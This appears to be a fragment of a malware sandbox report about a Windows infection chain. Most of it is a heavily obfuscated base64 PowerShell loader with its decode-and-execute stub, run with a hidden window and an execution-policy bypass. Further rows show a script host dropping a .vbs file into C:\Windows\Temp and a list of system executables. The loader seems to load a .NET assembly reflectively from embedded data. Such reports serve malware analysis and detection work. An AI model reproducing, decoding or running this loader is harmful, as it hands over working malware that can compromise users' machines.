ÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCsAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPLgBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPYgBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPYQByAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBTAuPACDÇXGiuçaOcqNPHUAuPACDÇXGiuçaOcqNPYgBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPcgBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPQwBvAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBGAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPYQBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPNgAuPACDÇXGiuçaOcqNP0AuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPByAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbwBhAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQBkAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPUgBlAuPACDÇXGiuçaOcqNPGYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbgAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBMAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPQQBzAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPRgBpAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPZQByAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEcAuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPE0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBWAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPSQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBvAuPACDÇXGiuçaOcqNPGsAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbgB1AuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWwBvAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPF0AuPACDÇXGiuçaOcqNPXQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBkAuPACDÇXGiuçaOcqNPEgAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNP1AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWQBpAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPBNAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRQB5AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPegBjAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBqAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdwBNAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPB6AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPagBJAuPACDÇXGiuçaOcqNPDUAuPACDÇXGiuçaOcqNPTQBTAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPdgBPAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPQgAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPRwBnAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwByAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPZwBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPQwAuPACDÇXGiuçaOcqNP6AuPACDÇXGiuçaOcqNPFwAuPACDÇXGiuçaOcqNPVwBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcwBcAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPXAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPawBjAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('AuPACDÇXGiuçaOcqNP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
| parent_process | wscript.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force } | ||||||
| option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
| option | -noprofile | value | Does not load current user profile | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
| option | -noprofile | value | Does not load current user profile | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
| option | -noprofile | value | Does not load current user profile | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |